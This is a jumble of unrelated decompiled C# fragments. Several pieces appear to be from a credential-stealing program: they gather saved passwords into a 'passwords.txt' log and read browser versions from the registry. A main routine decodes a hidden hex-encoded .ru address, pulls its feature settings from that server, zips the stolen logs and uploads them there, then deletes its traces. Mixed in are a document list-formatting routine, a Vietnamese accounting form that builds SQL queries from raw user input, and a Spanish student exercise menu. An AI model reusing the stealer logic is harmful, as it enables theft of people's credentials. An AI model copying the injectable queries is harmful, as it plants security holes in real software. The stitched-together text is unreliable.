Convert.ToString(Environment.NewLine + arg); Class26.int_0++; } } catch { } num++; } catch { } } File.Delete(text3); } catch { } } } catch { } } } catch { } } File.WriteAllText(Dirs.WorkDir + "\\passwords.txt", (Class26.string_0 != null) ? ("Shut Up and Work " + Environment.NewLine + Class26.string_0 + "\n") : "", Encoding.Default); } catch { } }
private void method_110() { if (!this.paragraph_0.ListFormat.IsEmptyList && (!this.paragraph_0.SectionEndMark || !string.IsNullOrEmpty(this.paragraph_0.Text))) { ListFormat listFormatForApplyStyle = this.paragraph_0.GetListFormatForApplyStyle(); ParagraphStyle paraStyle = this.paragraph_0.ParaStyle; if ((listFormatForApplyStyle != null) && (listFormatForApplyStyle.CurrentListStyle != null)) { ListStyle currentListStyle = listFormatForApplyStyle.CurrentListStyle; base.method_14(0); if (listFormatForApplyStyle.HasKey(0)) { base.method_14(listFormatForApplyStyle.ListLevelNumber); } ListLevel overrideListLevel = (currentListStyle.Levels.Count > 0) ? currentListStyle.GetNearLevel(base.method_13()) : null; if (overrideListLevel != null) { Class12 class2 = null; if ((listFormatForApplyStyle.LFOStyleName != null) && (listFormatForApplyStyle.LFOStyleName.Length > 0)) { class2 = (this.method_108() as Document).ListOverrides.method_35(listFormatForApplyStyle.LFOStyleName); } if (((class2 != null) && class2.method_23().method_11(base.method_13())) && class2.method_23().method_5(base.method_13()).OverrideFormatting) { overrideListLevel = class2.method_23().method_5(base.method_13()).OverrideListLevel; } if ((currentListStyle.ListType == ListType.Numbered) || (currentListStyle.ListType == ListType.Bulleted)) { if (overrideListLevel.ParagraphFormat.HasKey(0x488)) { base.Interface22.imethod_1().method_1((double)overrideListLevel.ParagraphFormat.LeftIndent); } if (((this.paragraph_0.ListFormat.ListType == ListType.NoList) && !this.paragraph_0.ListFormat.HasKey(1)) && (paraStyle.ParagraphFormat.HasKey(0x488) || ((paraStyle.ParagraphFormat.LeftIndent != 0f) && (paraStyle.ParagraphFormat.LeftIndent != overrideListLevel.ParagraphFormat.LeftIndent)))) { base.Interface22.imethod_1().method_1((double)paraStyle.ParagraphFormat.LeftIndent); } else if ((((this.paragraph_0.ListFormat.ListType != ListType.NoList) && !this.paragraph_0.ListFormat.HasKey(1)) && paraStyle.ListFormat.HasKey(1)) && (paraStyle.ParagraphFormat.HasKey(0x488) || !overrideListLevel.ParagraphFormat.HasKey(0x488))) { base.Interface22.imethod_1().method_1((double)paraStyle.ParagraphFormat.LeftIndent); } if (this.paragraph_0.Format.HasKey(0x488)) { base.Interface22.imethod_1().method_1((double)this.paragraph_0.Format.LeftIndent); } if (overrideListLevel.ParagraphFormat.HasKey(0x492)) { base.method_20(overrideListLevel.ParagraphFormat.FirstLineIndent); } if (((this.paragraph_0.ListFormat.ListType == ListType.NoList) && !this.paragraph_0.ListFormat.HasKey(1)) && (paraStyle.ParagraphFormat.HasKey(0x492) || ((paraStyle.ParagraphFormat.FirstLineIndent != 0f) && (paraStyle.ParagraphFormat.FirstLineIndent != overrideListLevel.ParagraphFormat.FirstLineIndent)))) { base.method_20(paraStyle.ParagraphFormat.FirstLineIndent); } else if ((((this.paragraph_0.ListFormat.ListType != ListType.NoList) && !this.paragraph_0.ListFormat.HasKey(1)) && paraStyle.ListFormat.HasKey(1)) && (paraStyle.ParagraphFormat.HasKey(0x492) || !overrideListLevel.ParagraphFormat.HasKey(0x492))) { base.method_20(paraStyle.ParagraphFormat.FirstLineIndent); } if (this.paragraph_0.Format.HasKey(0x492)) { base.method_20(this.paragraph_0.Format.FirstLineIndent); } if (((base.method_19() < 0f) && (base.Interface22.imethod_1().method_0() == 0.0)) && (!this.paragraph_0.Format.HasValue(0x488) && !paraStyle.ParagraphFormat.HasValue(0x488))) { base.Interface22.imethod_1().method_1((double)Math.Abs(base.method_19())); } } base.method_72(new CharacterFormat(this.method_108())); this.method_114(overrideListLevel.CharacterFormat, base.method_71()); base.method_71().ApplyBase(this.paragraph_0.BreakCharacterFormat); base.method_66((this.method_108() as Document).method_133(this.paragraph_0, listFormatForApplyStyle, overrideListLevel, (LocaleIDs)base.method_71().LocaleIdASCII)); this.paragraph_0.ListText = base.method_65(); base.method_68(Class57.smethod_9(base.method_65())); if (!overrideListLevel.IsEmptyPicture && (overrideListLevel.PicBullet != null)) { base.method_46(true); base.method_80(overrideListLevel.PicBullet); } if (overrideListLevel.FollowCharacter == FollowCharacterType.Tab) { this.method_112(overrideListLevel); } else { this.method_111(overrideListLevel); } base.method_76(overrideListLevel.NumberAlignment); } if ((((overrideListLevel.StartAt == 0) && (currentListStyle.ListType == ListType.Numbered)) && (string.IsNullOrEmpty(overrideListLevel.LevelText) && string.IsNullOrEmpty(overrideListLevel.NumberPrefix))) && (string.IsNullOrEmpty(overrideListLevel.NumberPrefix) && string.IsNullOrEmpty(overrideListLevel.BulletCharacter))) { base.method_66(string.Empty); } listFormatForApplyStyle.Close(); } } }
// Token: 0x060001EF RID: 495 RVA: 0x0000F438 File Offset: 0x0000D638 public static void smethod_0() { string text = string.Empty; string text2 = Class12.smethod_3(); try { foreach (string text3 in GClass9.string_20) { if (text3.Contains("Google Chrome")) { object value = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", "", null); if (value != null) { text = FileVersionInfo.GetVersionInfo(value.ToString()).FileVersion; } else { value = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", "", null); text = FileVersionInfo.GetVersionInfo(value.ToString()).FileVersion; } if (Environment.Is64BitOperatingSystem) { Class23.list_0.Add(string.Concat(new string[] { "Mozilla/5.0 (", text2, "; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/", text, " Safari/537.36" })); } else { Class23.list_0.Add(string.Concat(new string[] { "Mozilla/5.0 (", text2, ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/", text, " Safari/537.36" })); } } if (text3.Contains("Mozilla Firefox")) { object value2 = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", "", null); if (value2 != null) { text = FileVersionInfo.GetVersionInfo(value2.ToString()).FileVersion; } else { value2 = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", "", null); text = FileVersionInfo.GetVersionInfo(value2.ToString()).FileVersion; } string text4 = string.Empty; text4 = text.Split(new char[] { '.' }).First <string>() + "." + text.Split(new char[] { '.' })[1]; if (Environment.Is64BitOperatingSystem) { Class23.list_0.Add(string.Concat(new string[] { "Mozilla/5.0 (", text2, "; Win64; x64; rv:", text4, ") Gecko/20100101 Firefox/", text4 })); } else { Class23.list_0.Add(string.Concat(new string[] { "Mozilla/5.0 (", text2, "; rv:", text4, ") Gecko/20100101 Firefox/", text4 })); } } } } catch { } }
// Token: 0x06000131 RID: 305 RVA: 0x0000A8D0 File Offset: 0x00008AD0 private static void Main(string[] args) { Class9.smethod_0(); Class9.smethod_1(); Class9.smethod_2(); string string_ = "ʰʷˉ˞˜ʷ˩˾ʰ˼ʷʰ˞ˉ˜ʷʰʷʷ˼ʰʷ˜ʰʷ˜ʰ˒ʷ˜ʰʰʰʨʷʰʷʰʷʰʨʷʰʷʰ˿˜˾˩˼ˣ˯˳˃˞˜ˏ˓˃˯˳˼ˣʩʩʩʷʷʷʷ"; byte[] byte_ = Class8.smethod_0("687474703a2f2f67616d656670736275737465722e7275"); byte[] bytes = Encoding.Default.GetBytes(Class11.smethod_2(string_)); string @string = Encoding.Default.GetString(Class11.smethod_0(bytes, byte_)); byte[] bytes2 = Encoding.Default.GetBytes(@string); GClass9.smethod_0(); Class23.smethod_5(Class23.string_0); GClass9.smethod_1(); string[] array = new StreamReader(WebRequest.Create(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2))).GetResponse().GetResponseStream()).ReadToEnd().Split(new char[] { ',' }); bool flag = false; bool flag2 = false; bool flag3 = false; bool flag4 = false; bool flag5 = false; bool flag6 = false; bool flag7 = false; bool flag8 = false; bool flag9 = false; bool flag10 = false; bool flag11 = false; if (array[12] == "1") { flag8 = true; } if (!flag8) { Class12.smethod_5(); } if (array[0] == "1") { flag = true; } if (array[1] == "1") { flag4 = true; } if (array[2] == "1") { flag5 = true; } if (array[3] == "1") { flag11 = true; } if (array[4] == "1") { flag2 = true; } if (array[5] == "1") { flag6 = true; } if (array[6] == "1") { flag10 = true; } if (array[7] == "1") { flag3 = true; } if (array[10] == "1") { flag9 = true; } if (array[11].StartsWith("http")) { flag7 = true; } if (flag7) { string text = array[11]; string fileName = Path.GetFileName(text); Class20.smethod_0(text, fileName); } if (flag) { Class13.smethod_3(); Class21.smethod_0(); } if (flag5) { Class18.smethod_0(); } if (flag7) { string text2 = array[11]; string fileName2 = Path.GetFileName(text2); Class20.smethod_0(text2, fileName2); } if (flag2) { Class17.smethod_10(); } if (flag6) { Class17.smethod_6(); } if (flag4) { Class15.smethod_0(); Class13.smethod_2(); Class25.smethod_9(); } if (flag11) { Class17.smethod_5(GClass9.string_2); } if (flag3) { foreach (string item in array[8].Split(new char[] { ':' })) { Class17.list_0.Add(item); } Class17.int_0 = Convert.ToInt32(array[9]); Class17.int_0 *= 1024; Class17.smethod_8(); } if (flag10) { Class17.smethod_9(); } Class17.smethod_11(); Class17.smethod_7(); Class23.smethod_0(); Class12.smethod_11(); Class12.smethod_9(); Class12.smethod_10(); Class23.smethod_1(); Class12.smethod_6(); string string_2 = GClass9.string_0 + "\\" + Class23.string_0 + ".zip"; try { Class27.smethod_0(); Class27.smethod_1(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2)), string_2, "logs", "zip", Class27.nameValueCollection_0); } catch { } if (flag9) { Class12.smethod_7(); } Class12.smethod_8(); Directory.Delete(GClass9.string_6); }
private void btn_Save_Click(object sender, EventArgs e) { DataSet set; if (DateTime.Parse(Class7.smethod_19()).Subtract(DateTime.ParseExact(this.Txt_TranDate.Text, "dd/MM/yyyy", null)).TotalDays < 0.0) { Class7.ShowMessageBox("Ng\x00e0y hiệu lực kh\x00f4ng thể chọn trong tương lai", 1); this.Txt_TranDate.Focus(); return; } if (this.Txt_Voucher.Text == string.Empty) { Class7.ShowMessageBox("Bạn chưa khai b\x00e1o số chứng từ", 1); this.Txt_Voucher.Focus(); return; } if (this.Txt_Remark.Text == string.Empty) { Class7.ShowMessageBox("Bạn chưa khai b\x00e1o diễn giải giao dịch", 1); this.Txt_Remark.Focus(); return; } if (Class7.ParseDoubleValue(this.Txt_Amount.Text) <= 0.0) { Class7.ShowMessageBox("Số tiền kh\x00f4ng hợp lệ", 1); this.Txt_Amount.Focus(); return; } string str3 = string.Format("{0:MM/dd/yyyy}", this.Txt_TranDate.EditValue); string str4 = this.Txt_Voucher.Text.Trim(); string str5 = this.Txt_DbAccId.EditValue.ToString(); double num = Class7.ParseDoubleValue(this.Txt_Amount.Text); double num2 = Class7.ParseDoubleValue(this.Txt_Amount.Text); string str6 = this.Txt_CreAccId.EditValue.ToString(); string str7 = this.Txt_Remark.Text.Trim(); string str8 = this.Txt_Name.Text.Trim(); string str9 = this.Txt_Address.Text.Trim(); string str10 = this.Txt_PsId.Text.Trim(); string str2 = this.Txt_TransNum.Text.Trim(); string str = this.string_0; switch (str) { case null: goto Label_0610; case "N": break; default: { if (!(str == "E")) { goto Label_0610; } if (Class7.ShowMessageBox("Bạn c\x00f3 chắc chắn kh\x00f4ng ?", 2) != 1) { return; } this.RrqIxZxw5(this, new EventArgs()); this.string_1 = "select account_id, db_amount, cr_amount from tblAccTrans where trans_num = '" + this.Txt_TransNum.Text.Trim() + "'"; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_1, this.oleDbConnection_0); using (DataTable table = new DataTable()) { this.oleDbDataAdapter_0.Fill(table); foreach (DataRow row in table.Rows) { this.string_1 = string.Concat(new object[] { "update tblAccount set debamt = debamt - ", row["db_amount"], ",creamt = creamt - ", row["db_amount"], " where account_id = '", row["account_id"], "'" }); this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_1, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); continue; } } } this.string_1 = "delete from tblAccTrans where trans_num = '" + this.Txt_TransNum.Text.Trim() + "'"; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_1, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); } Class12.smethod_3(str2, str3, str4, str5, num, 0.0, str6, str7, 1); Class12.smethod_2(str5, num, true); Class12.smethod_3(str2, str3, str4, str6, 0.0, num2, str5, str7, 2); Class12.smethod_2(str6, num2, false); this.string_1 = "update tblAccTrans set name = N'" + str8 + "', address = N'" + str9 + "', person_id = '" + str10 + "', voucher = '" + str4 + "' where trans_num = '" + this.Txt_TransNum.Text.Trim() + "'"; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_1, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); goto Label_0610; } } } this.RrqIxZxw5(this, new EventArgs()); Class12.smethod_3(str2, str3, str4, str5, num, 0.0, str6, str7, 1); Class12.smethod_2(str5, num, true); Class12.smethod_3(str2, str3, str4, str6, 0.0, num2, str5, str7, 2); Class12.smethod_2(str6, num2, false); this.string_1 = "update tblAccTrans set name = N'" + str8 + "', address = N'" + str9 + "', person_id = '" + str10 + "' where trans_num = '" + this.Txt_TransNum.Text.Trim() + "'"; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_1, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); } new Class6().ComputeTransnum("A"); Label_0610: Class6.transNum = this.Txt_TransNum.Text.Trim(); Class7.CreateReportInstance(Class6.string_3).ShowPreviewDialog(); }
private void btn_Save_Click(object sender, EventArgs e) { if (DateTime.Parse(Class7.smethod_19()).Subtract(DateTime.ParseExact(this.Txt_TranDate.Text, "dd/MM/yyyy", null)).TotalDays < 0.0) { Class7.ShowMessageBox("Ng\x00e0y hiệu lực kh\x00f4ng thể chọn trong tương lai", 1); this.Txt_TranDate.Focus(); } else if (this.Txt_Voucher.Text == string.Empty) { Class7.ShowMessageBox("Bạn chưa khai b\x00e1o số chứng từ", 1); this.Txt_Voucher.Focus(); } else if (this.Txt_Remark.Text == string.Empty) { Class7.ShowMessageBox("Bạn chưa khai b\x00e1o diễn giải giao dịch", 1); this.Txt_Remark.Focus(); } else if (Class7.ParseDoubleValue(this.Txt_CreAmt1.Text) <= 0.0) { Class7.ShowMessageBox("Số tiền kh\x00f4ng hợp lệ", 1); this.Txt_CreAmt1.Focus(); } else if (this.Lbl_DebAccName.Text == string.Empty) { Class7.ShowMessageBox("T\x00e0i khoản ghi nợ kh\x00f4ng hợp lệ", 1); this.Txt_DebAccId.Focus(); } else { string str = this.string_0; if ((str != null) && (str == "N")) { this.btn_Skip_Click(this, new EventArgs()); string str3 = string.Format("{0:MM/dd/yyyy}", this.Txt_TranDate.EditValue); string str4 = this.Txt_Voucher.Text.Trim(); string str5 = this.Txt_DebAccId.EditValue.ToString(); double num2 = Class7.ParseDoubleValue(this.Txt_CreAmt1.Text); double num3 = Class7.ParseDoubleValue(this.Txt_CreAmt2.Text); double num = Class7.ParseDoubleValue(this.Txt_CreAmt3.Text); string str6 = this.Txt_Remark.Text.Trim(); string str2 = this.Txt_TransNum.Text.Trim(); Class12.smethod_3(str2, str3, str4, str5, num2, 0.0, this.Txt_CreAccId1.EditValue.ToString(), str6, 2); Class12.smethod_3(str2, str3, str4, this.Txt_CreAccId1.EditValue.ToString(), 0.0, num2, str5, str6, 1); if ((num3 > 0.0) && (this.Lbl_CreAccName2.Text != string.Empty)) { Class12.smethod_3(str2, str3, str4, str5, num3, 0.0, this.Txt_CreAccId2.EditValue.ToString(), str6, 4); Class12.smethod_3(str2, str3, str4, this.Txt_CreAccId2.EditValue.ToString(), 0.0, num3, str5, str6, 3); } if ((num > 0.0) && (this.Lbl_CreAccName3.Text != string.Empty)) { Class12.smethod_3(str2, str3, str4, str5, num, 0.0, this.Txt_CreAccId2.EditValue.ToString(), str6, 6); Class12.smethod_3(str2, str3, str4, this.Txt_CreAccId2.EditValue.ToString(), 0.0, num, str5, str6, 5); } Class12.smethod_2(this.Txt_CreAccId1.EditValue.ToString(), num2, false); Class12.smethod_2(this.Txt_CreAccId2.EditValue.ToString(), num3, false); Class12.smethod_2(this.Txt_CreAccId3.EditValue.ToString(), num, false); Class12.smethod_2(this.Txt_DebAccId.EditValue.ToString(), Class7.ParseDoubleValue(this.Lbl_DebitAmt.Text), true); new Class6().ComputeTransnum("A"); } Class6.transNum = this.Txt_TransNum.Text.Trim(); Class7.CreateReportInstance(Class6.string_3).ShowPreviewDialog(); } }
// Token: 0x06000337 RID: 823 RVA: 0x000049C1 File Offset: 0x00002BC1 public Class83(string string_1, Class12 class12_1, Class184 class184_1) { this.string_0 = string_1; this.class12_0 = class12_1; this.class184_0 = class184_1; }
static void Main(string[] args) { int Opcion = 0; Class1 obj = new Class1(); Class2 obj2 = new Class2(); Class3 obj3 = new Class3(); Class4 obj4 = new Class4(); Ejercicio62 obj5 = new Ejercicio62(); Ejercicio63 obj6 = new Ejercicio63(); Ejercicio64 obj7 = new Ejercicio64(); Ejercicio65 obj8 = new Ejercicio65(); Ejercicio66 obj9 = new Ejercicio66(); Ejercicio67 obj10 = new Ejercicio67(); Ejercicio68 obj11 = new Ejercicio68(); Dev obj14 = new Dev(); Progro obj13 = new Progro(); Progra obj12 = new Progra(); Programk obj15 = new Programk(); Gro obj16 = new Gro(); Class5 obj17 = new Class5(); Class6 obj18 = new Class6(); Class7 obj19 = new Class7(); Class8 obj20 = new Class8(); Class9 obj21 = new Class9(); Class10 obj22 = new Class10(); Class11 obj23 = new Class11(); Class12 obj24 = new Class12(); Console.WriteLine(); Console.WriteLine("**********************************************"); Console.WriteLine("**********************************************"); Console.WriteLine("Ingrese un numero del 1 hasta el 78 para realizar un ejercicio" + "(CADA NUMERO ES UN EJERCICIO)"); Opcion = int.Parse(Console.ReadLine()); switch (Opcion) { case 1: obj.Sum(); break; case 2: obj.Mult(); break; case 3: obj.Divi(); break; case 4: obj.X(); break; case 5: obj.Anio(); break; case 6: obj.Cal(); break; case 7: obj.Callo(); break; case 8: obj.Cua(); break; case 9: obj.Cinco(); break; case 10: obj.Tienda(); break; case 11: obj2.Suel(); break; case 12: obj2.Cuad(); break; case 13: obj2.O_5(); break; case 14: obj2.Prom(); break; case 15: obj2.Ing(); break; case 16: obj2.Pig(); break; case 17: obj2.Dig(); break; case 18: obj2.Lig(); break; case 19: obj2.Hig(); break; case 20: obj2.Kig(); break; case 21: obj3.Estudiante(); break; case 22: obj3.Pers(); break; case 23: obj3.Num(); break; case 24: obj3.Plus(); break; case 25: obj3.Gig(); break; case 26: obj3.Plug(); break; case 27: obj3.Doug(); break; case 28: obj3.But(); break; case 29: obj3.Cross(); break; case 30: obj3.Bogo(); break; case 31: obj3.Voca(); break; case 32: obj3.Duca(); break; case 33: obj3.Numi(); break; case 34: obj3.Edi_Eda_Edo_Edito(); break; case 35: obj3.Debi(); break; case 36: obj3.Cero(); break; case 37: obj3.Impa(); break; case 38: obj3.Dab(); break; case 39: obj3.Esss(); break; case 40: obj3.Dre(); break; case 41: obj12.Main(); break; case 42: obj13.Maini(); break; case 43: obj14.Mapin(); break; case 44: obj15.Main(); break; case 45: obj16.Main(); break; case 46: obj3.Dab(); break; case 47: obj3.Esss(); break; case 48: obj3.Dre(); break; case 49: obj4.Elv(); break; case 50: obj4.Rep(); break; case 51: obj4.Deaf(); break; case 52: obj4.CoL(); break; case 53: obj4.Cluy(); break; case 54: obj4.Cuz(); break; case 55: obj4.Criss(); break; case 56: obj4.Man(); break; case 57: obj4.Triii(); break; case 58: obj4.Miin(); break; case 59: obj4.Main(); break; case 60: obj4.Main(); break; case 61: obj5.cargar(); obj5.imprimir(); break; case 62: obj6.cargar(); obj6.mostrar(); break; case 63: obj6.cargar(); obj6.mostrar(); break; case 64: obj7.cargar(); obj7.mostrar(); break; case 65: obj8.cargar(); obj8.mostrar(); break; case 66: obj9.captura1(); obj9.captura2(); obj9.calcularcapt1(); obj9.calcularcapt2(); break; case 67: obj10.captura1(); obj10.mostrarcuadrado(); obj10.mostrarcubo(); break; case 68: obj11.capturar(); obj11.totalestudiantes(); obj11.imprimir(); break; case 69: obj17.Nombres(); break; case 70: obj18.Lol(); break; case 71: obj19.Matriz(); break; case 72: obj20.Matriz2(); break; case 73: obj24.Plan(); break; case 74: obj24.Plan(); break; case 75: obj24.Plan(); break; case 76: obj23.Matriz2(); break; case 77: obj21.Matriz2(); break; case 78: obj21.Matriz2(); break; default: Console.WriteLine("Opcion erronea"); break; } Console.ReadKey(); }